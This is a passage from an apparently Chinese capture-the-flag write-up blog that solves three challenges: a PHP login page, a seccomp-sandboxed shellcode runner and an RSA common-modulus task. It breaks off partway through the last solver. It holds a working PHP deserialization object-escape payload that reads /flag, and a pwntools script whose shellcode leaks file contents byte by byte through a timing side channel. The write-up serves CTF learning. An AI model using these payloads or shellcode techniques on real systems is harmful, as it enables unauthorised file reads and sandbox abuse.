href="#0x03-login" class="headerlink" title="0x03 login"></a>0x03 login</h1><h2 id="操作内容-2"><a href="#操作内容-2" class="headerlink" title="操作内容"></a>操作内容</h2><p>使用 Dirsearch 进行目录扫描：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219184240.png" alt="image-20201219184240437"></p><p>泄露 <a href="http://www.zip/">www.zip</a> 内容为config.php 和 index.php：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># config.php</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">File</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $user;</span><br><span class="line">    <span class="keyword">public</span> $pass;</span><br><span class="line">    <span class="keyword">public</span> $repass;</span><br><span class="line">    <span class="keyword">public</span> $dir;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$data1, $data2, $data3, $data4</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;user = $data1;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;pass = $data2;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;repass = $data3;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;dir = $data4;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">Login</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> ((<span class="keyword">$this</span>-&gt;user == <span class="string">&#x27;ohhhh&#x27;</span> &amp;&amp; <span class="keyword">$this</span>-&gt;pass == <span class="string">&#x27;a3333&#x27;</span>) || (<span class="keyword">$this</span>-&gt;user == <span class="string">&#x27;admin&#x27;</span> &amp;&amp; <span class="keyword">$this</span>-&gt;pass == <span class="string">&#x27;admin888&#x27;</span>)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;Login()) &#123;</span><br><span class="line">    readfile(<span class="keyword">$this</span>-&gt;dir);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;wrong user or pass&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params">$data</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span> ($_SERVER[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>] == <span class="string">&#x27;127.0.0.1&#x27;</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> $data;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        $filter_arr = <span class="keyword">array</span>(<span class="string">&#x27;admin&#x27;</span>,<span class="string">&#x27;test&#x27;</span>,<span class="string">&#x27;root&#x27;</span>);</span><br><span class="line">        $filter = <span class="string">&#x27;/&#x27;</span>.implode(<span class="string">&#x27;|&#x27;</span>,$filter_arr).<span class="string">&#x27;/i&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> preg_replace($filter,<span class="string">&#x27;hacker&#x27;</span>,$data);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">&#x27;user&#x27;</span>]) &amp;&amp; <span class="keyword">isset</span>($_GET[<span class="string">&#x27;pass&#x27;</span>]) &amp;&amp; <span class="keyword">isset</span>($_GET[<span class="string">&#x27;repass&#x27;</span>]) &amp;&amp; <span class="keyword">isset</span>($_GET[<span class="string">&#x27;dir&#x27;</span>])) &#123;</span><br><span class="line">    $user = $_GET[<span class="string">&#x27;user&#x27;</span>];</span><br><span class="line">    $pass = $_GET[<span class="string">&#x27;pass&#x27;</span>];</span><br><span class="line">    $repass = $_GET[<span class="string">&#x27;repass&#x27;</span>];</span><br><span class="line">    $dir = $_GET[<span class="string">&#x27;dir&#x27;</span>];</span><br><span class="line">    $get = filter(serialize($_GET));</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;hello world&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># index.php</span></span><br><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">&lt;title&gt;file-reading&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line"></span><br><span class="line">&lt;form action=<span class="string">&quot;index.php&quot;</span> method=<span class="string">&quot;GET&quot;</span>&gt;</span><br><span class="line">username&lt;input type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;user&quot;</span>&gt;</span><br><span class="line">password&lt;input type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;pass&quot;</span>&gt;</span><br><span class="line">repassword&lt;input type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;repass&quot;</span>&gt;</span><br><span class="line">filename&lt;input type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;dir&quot;</span>&gt;</span><br><span class="line">&lt;input type=<span class="string">&quot;submit&quot;</span> value=<span class="string">&quot;submit&quot;</span>&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line"></span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br><span class="line">only admin can view /flag</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">include</span> <span class="string">&#x27;config.php&#x27;</span>;</span><br><span class="line">$data = unserialize($get);</span><br><span class="line"><span class="keyword">if</span> ($_SERVER[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>] == <span class="string">&#x27;127.0.0.1&#x27;</span>) &#123;</span><br><span class="line">$myFile = <span class="keyword">new</span> File($data[<span class="string">&#x27;user&#x27;</span>], $data[<span class="string">&#x27;pass&#x27;</span>], $data[<span class="string">&#x27;repass&#x27;</span>], $data[<span class="string">&#x27;dir&#x27;</span>]);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">if</span> (preg_match(<span class="string">&#x27;/flag|\.\.|\/|index|config/i&#x27;</span>, $dir)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;NO Hacker !!!!!!!!&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line">$myFile = <span class="keyword">new</span> File($data[<span class="string">&#x27;user&#x27;</span>], $data[<span class="string">&#x27;pass&#x27;</span>], $data[<span class="string">&#x27;repass&#x27;</span>], $data[<span class="string">&#x27;dir&#x27;</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析源代码 发现可以利用 <code>echo($this-&gt;dir);</code> 读取 flag</p><p>而 <code> if (preg_match(&#39;/flag|\.\.|\/|index|config/i&#39;, $dir))</code> 过滤了<code> //</code> <code>  ..</code> <code> /</code>  <code> index</code>  <code>/flag </code> <code> config</code></p><p>本地测试代码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">  &lt;title&gt;file-reading&lt;&#x2F;title&gt;</span><br><span class="line">&lt;&#x2F;head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line"></span><br><span class="line">  &lt;form method&#x3D;&quot;GET&quot;&gt;</span><br><span class="line">    username&lt;input type&#x3D;&quot;text&quot; name&#x3D;&quot;user&quot;&gt;</span><br><span class="line">    password&lt;input type&#x3D;&quot;text&quot; name&#x3D;&quot;pass&quot;&gt;</span><br><span class="line">    repassword&lt;input type&#x3D;&quot;text&quot; name&#x3D;&quot;repass&quot;&gt;</span><br><span class="line">    filename&lt;input type&#x3D;&quot;text&quot; name&#x3D;&quot;dir&quot;&gt;</span><br><span class="line">    &lt;input type&#x3D;&quot;submit&quot; value&#x3D;&quot;submit&quot;&gt;</span><br><span class="line">  &lt;&#x2F;form&gt;</span><br><span class="line"></span><br><span class="line">&lt;&#x2F;body&gt;</span><br><span class="line">&lt;&#x2F;html&gt; </span><br><span class="line">only admin can view &#x2F;flag</span><br><span class="line">&lt;?php</span><br><span class="line">error_reporting(0);</span><br><span class="line">class File &#123;</span><br><span class="line"></span><br><span class="line">    public $user;</span><br><span class="line">    public $pass;</span><br><span class="line">    public $repass;</span><br><span class="line">    public $dir;</span><br><span class="line"></span><br><span class="line">    function __construct($data1, $data2, $data3, $data4)</span><br><span class="line">    &#123;</span><br><span class="line">        $this-&gt;user &#x3D; $data1;</span><br><span class="line">        $this-&gt;pass &#x3D; $data2;</span><br><span class="line">        $this-&gt;repass &#x3D; $data3;</span><br><span class="line">        $this-&gt;dir &#x3D; $data4;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    function Login()</span><br><span class="line">    &#123;</span><br><span class="line">      if (($this-&gt;user &#x3D;&#x3D; &#39;ohhhh&#39; &amp;&amp; $this-&gt;pass &#x3D;&#x3D; &#39;a3333&#39;) || ($this-&gt;user &#x3D;&#x3D; &#39;admin&#39; &amp;&amp; $this-&gt;pass &#x3D;&#x3D; &#39;admin888&#39;)) &#123;</span><br><span class="line">      &#x2F;&#x2F;先登录</span><br><span class="line">        return true;</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        return false;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    function __destruct()</span><br><span class="line">    &#123;</span><br><span class="line">      if ($this-&gt;Login()) &#123;</span><br><span class="line">        echo($this-&gt;dir);</span><br><span class="line">      &#x2F;&#x2F; 利用这个读取</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        die(&#39;wrong user or pass&#39;);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function filter($data)&#123;</span><br><span class="line">    if ($_SERVER[&#39;REMOTE_ADDR&#39;] &#x3D;&#x3D; &#39;127.0.0.1&#39;) &#123;</span><br><span class="line">        return $data;</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        $filter_arr &#x3D; array(&#39;admin&#39;,&#39;test&#39;,&#39;root&#39;);</span><br><span class="line">        $filter &#x3D; &#39;&#x2F;&#39;.implode(&#39;|&#39;,$filter_arr).&#39;&#x2F;i&#39;;</span><br><span class="line">    &#x2F;&#x2F; $filter &#x3D; &#x2F;admin|test|root&#x2F;i</span><br><span class="line">        return preg_replace($filter,&#39;hacker&#39;,$data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">if (isset($_GET[&#39;user&#39;]) &amp;&amp; isset($_GET[&#39;pass&#39;]) &amp;&amp; isset($_GET[&#39;repass&#39;]) &amp;&amp; isset($_GET[&#39;dir&#39;])) &#123;</span><br><span class="line">    $user &#x3D; $_GET[&#39;user&#39;];</span><br><span class="line">    $pass &#x3D; $_GET[&#39;pass&#39;];</span><br><span class="line">    $repass &#x3D; $_GET[&#39;repass&#39;];</span><br><span class="line">    $dir &#x3D; $_GET[&#39;dir&#39;];</span><br><span class="line">  &#x2F;&#x2F; 这里可以获取一个假的dir</span><br><span class="line">  print(&quot;2&quot;);</span><br><span class="line">  echo &quot;&lt;br&gt;&quot;;</span><br><span class="line">    $get &#x3D; filter(serialize($_GET));</span><br><span class="line">  </span><br><span class="line">  echo serialize($_GET);</span><br><span class="line">  echo &quot;&lt;br&gt;&quot;;</span><br><span class="line">  echo $get;</span><br><span class="line">  echo &quot;&lt;br&gt;&quot;;</span><br><span class="line">  var_dump(unserialize($get));</span><br><span class="line">  echo &quot;&lt;br&gt;&quot;;</span><br><span class="line">  $data &#x3D; unserialize($get);</span><br><span class="line">  var_dump($data);</span><br><span class="line">  echo &quot;&lt;br&gt;&quot;;</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    die(&#39;hello world&#39;);</span><br><span class="line">&#125;</span><br><span class="line">&#x2F;&#x2F; 这一步需要每个参数都有值</span><br><span class="line">&#x2F;&#x2F; 猜测可能有反序列化对象逃逸</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$data &#x3D; unserialize($get);</span><br><span class="line">if ($_SERVER[&#39;REMOTE_ADDR&#39;] &#x3D;&#x3D; &#39;127.0.0.1&#39;) &#123;</span><br><span class="line">  $myFile &#x3D; new File($data[&#39;user&#39;], $data[&#39;pass&#39;], $data[&#39;repass&#39;], $data[&#39;dir&#39;]);</span><br><span class="line">&#125; else &#123;</span><br><span class="line"></span><br><span class="line">  echo $dir;</span><br><span class="line">  echo &quot;&lt;br&gt;&quot;;</span><br><span class="line">  if (preg_match(&#39;&#x2F;flag|\.\.|\&#x2F;|index|config&#x2F;i&#39;, $dir)) &#123;</span><br><span class="line">      die(&#39;NO Hacker !!!!!!!!&#39;);</span><br><span class="line">  &#125;</span><br><span class="line">  $myFile &#x3D; new File($data[&#39;user&#39;], $data[&#39;pass&#39;], $data[&#39;repass&#39;], $data[&#39;dir&#39;]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为是序列化之后才过滤的 然后反序列化 这里可以反序列化对象逃逸</p><p>后面检测输入dir是在过滤之前给的 所以可以造一个假的$dir=1</p><p>构造 payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?user&#x3D;ohhhh&amp;pass&#x3D;a3333&amp;repass&#x3D;adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin&quot;;s:3:&quot;dir&quot;;s:5:&quot;&#x2F;flag&quot;;&#125;&amp;dir&#x3D;2</span><br></pre></td></tr></table></figure><h2 id="flag值"><a href="#flag值" class="headerlink" title="flag值"></a>flag值</h2><p><strong>flag{a5b689bf-3549-4b13-afde-3be026075faf}</strong></p><h1 id="0x04-slient"><a href="#0x04-slient" class="headerlink" title="0x04 slient"></a>0x04 slient</h1><h2 id="操作内容-3"><a href="#操作内容-3" class="headerlink" title="操作内容"></a>操作内容</h2><p>打开题目</p><p> 沙盒逃逸 存在seccomp 限制</p><p>查看</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219194747.png" alt="image-20201219194747172"></p><p>程序可输入的shellcode执行</p><p>有read open 可用 </p><p>思路 ：</p><p>打开文件 猜测目标文件在./flag下</p><p>由于mmap申请地址在0x10000处  </p><p>填充后通过 <strong>pop rsi; shr esi,12;</strong> 复位</p><p>按位比较爆破出读出 flag 内容</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">file = context.binary = <span class="string">&#x27;./chall&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pwn</span>(<span class="params">p, index, ch</span>):</span></span><br><span class="line">    shellcode = <span class="string">&quot;push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># re open, rax =&gt; 4</span></span><br><span class="line">    shellcode += <span class="string">&quot;push 2; pop rax; syscall;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># read(rax, 0x10040, 0x50)</span></span><br><span class="line">    shellcode += <span class="string">&quot;mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> index == <span class="number">0</span>:</span><br><span class="line">        shellcode += <span class="string">&quot;cmp byte ptr[rsi+&#123;0&#125;], &#123;1&#125;; jz $-3; ret&quot;</span>.format(index, ch)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        shellcode += <span class="string">&quot;cmp byte ptr[rsi+&#123;0&#125;], &#123;1&#125;; jz $-4; ret&quot;</span>.format(index, ch)</span><br><span class="line"></span><br><span class="line">    shellcode = asm(shellcode)</span><br><span class="line">    <span class="comment"># print(len(shellcode))</span></span><br><span class="line">    p.sendafter(<span class="string">&quot;Welcome to silent execution-box.\n&quot;</span>, shellcode.ljust(<span class="number">0x40</span><span class="number">-14</span>, <span class="string">b&#x27;a&#x27;</span>) + <span class="string">b&#x27;./flag&#x27;</span>)</span><br><span class="line"></span><br><span class="line">index = <span class="number">0</span></span><br><span class="line">a = []</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">for</span> ch <span class="keyword">in</span> range(<span class="number">0x20</span>, <span class="number">127</span>):</span><br><span class="line">        <span class="comment"># p = remote(&#x27;8.131.246.36&#x27;, &#x27;40334&#x27;)</span></span><br><span class="line">        p=process(file)</span><br><span class="line">        pwn(p, index, ch)</span><br><span class="line">        start = time.time()</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            p.recv(timeout=<span class="number">2</span>)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">        end = time.time()</span><br><span class="line">        p.close()</span><br><span class="line">        <span class="keyword">if</span> end-start &gt; <span class="number">1.5</span>:</span><br><span class="line">            a.append(ch)</span><br><span class="line">            print(<span class="string">&quot;&quot;</span>.join([chr(i) <span class="keyword">for</span> i <span class="keyword">in</span> a]))</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&quot;&quot;</span>.join([chr(i) <span class="keyword">for</span> i <span class="keyword">in</span> a]))</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    index = index + <span class="number">1</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">&quot;&quot;</span>.join([chr(i) <span class="keyword">for</span> i <span class="keyword">in</span> a]))</span><br></pre></td></tr></table></figure><p>得到结果</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201219194856.png" alt="image-20201219194856719"></p><h2 id="flag-值-2"><a href="#flag-值-2" class="headerlink" title="flag 值"></a>flag 值</h2><p><strong>flag{k33p_qu14t!}</strong></p><h1 id="0x05-common-modulus"><a href="#0x05-common-modulus" class="headerlink" title="0x05 common_modulus"></a>0x05 common_modulus</h1><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><p>下载题目附件</p><p>task.py 内容如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> FLAG,HINT</span><br><span class="line"><span class="keyword">assert</span> len(HINT) &lt; len(FLAG)</span><br><span class="line"><span class="keyword">assert</span> len(FLAG) == <span class="number">38</span></span><br><span class="line"></span><br><span class="line">p1 = getPrime(<span class="number">2048</span>)</span><br><span class="line">q1 = getPrime(<span class="number">2048</span>)</span><br><span class="line">n1 = p1*q1</span><br><span class="line">e1 = <span class="number">321959</span></span><br><span class="line">e2 = <span class="number">250261</span></span><br><span class="line">c1 = pow(bytes_to_long(HINT),e1,n1)</span><br><span class="line">c2 = pow(bytes_to_long(HINT),e2,n1)</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;n1=&#123;&#125;&#x27;</span>.format(n1))</span><br><span class="line">print(<span class="string">&#x27;c1=&#123;&#125;&#x27;</span>.format(c1))</span><br><span class="line">print(<span class="string">&#x27;c2=&#123;&#125;&#x27;</span>.format(c2))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p2 = getPrime(<span class="number">2048</span>)</span><br><span class="line">q2 = getPrime(<span class="number">2048</span>)</span><br><span class="line">n2 = p2*q2</span><br><span class="line">e3 = <span class="comment">#e3 in hint</span></span><br><span class="line">e4 = <span class="comment">#e4 in hint</span></span><br><span class="line"></span><br><span class="line">flag = bytes_to_long(FLAG)*bytes_to_long(HINT)</span><br><span class="line">c3 = pow(flag,e3,n2)</span><br><span class="line">c4 = pow(flag,e4,n2)</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;n2=&#123;&#125;&#x27;</span>.format(n2))</span><br><span class="line">print(<span class="string">&#x27;c3=&#123;&#125;&#x27;</span>.format(c3))</span><br><span class="line">print(<span class="string">&#x27;c4=&#123;&#125;&#x27;</span>.format(c4))</span><br></pre></td></tr></table></figure><p>题目名字提示了是 RSA 共模攻击 </p><p>解题脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> libnum <span class="keyword">import</span> n2s,s2n</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> invert</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">egcd</span>(<span class="params">a,n</span>):</span></span><br><span class="line">    x=<span class="number">0</span></span><br><span class="line">    old_x=<span class="number">1</span></span><br><span class="line">    y=<span class="number">1</span></span><br><span class="line">    old_y=<span 